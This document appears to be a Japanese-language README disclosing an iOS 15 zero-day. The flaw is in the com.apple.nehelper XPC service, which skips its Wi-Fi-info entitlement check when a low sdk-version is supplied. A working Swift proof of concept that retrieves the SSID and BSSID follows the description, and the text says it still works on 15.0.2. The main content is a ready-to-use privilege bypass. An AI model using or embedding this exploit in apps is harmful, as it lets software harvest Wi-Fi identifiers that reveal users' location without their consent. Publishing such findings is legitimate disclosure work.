
iOS 15 0-day exploit (still works in 15.0.2)
このコードは、Private API を直接使用しないように更新しました。詳しくは ブログ記事 をご覧ください。ただし、そのため、このコードは iOS バージョン固有、場合によってはデバイスモデル固有になりました。お使いのデバイスで動作しない場合は、c.c ファイル内のオフセットを再計算して更新してください。オリジナルのコードは direct ブランチにあります。
XPC エンドポイント com.apple.nehelper は、ユーザー指定のパラメータ sdk-version を受け入れ、その値が 524288 以下の場合、com.apple.developer.networking.wifi-info の entitlement チェックがスキップされます。
これにより、必要な entitlement を持たない適格なアプリ (例えば、位置情報アクセスの認可を保持するアプリ) が Wifi 情報にアクセスできるようになります。
これは /usr/libexec/nehelper 内の -[NEHelperWiFiInfoManager checkIfEntitled:] で発生します。
func wifi_info() -> String? {
let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)
xpc_connection_set_event_handler(connection, { _ in })
xpc_connection_resume(connection)
let xdict = xpc_dictionary_create(nil, nil, 0)
xpc_dictionary_set_uint64(xdict, "delegate-class-id", 10)
xpc_dictionary_set_uint64(xdict, "sdk-version", 1) // may be omitted entirely
xpc_dictionary_set_string(xdict, "interface-name", "en0")
let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
if let result = xpc_dictionary_get_value(reply, "result-data") {
let ssid = String(cString: xpc_dictionary_get_string(result, "SSID"))
let bssid = String(cString: xpc_dictionary_get_string(result, "BSSID"))
return "SSID: \(ssid)\nBSSID: \(bssid)"
} else {
return nil
}
}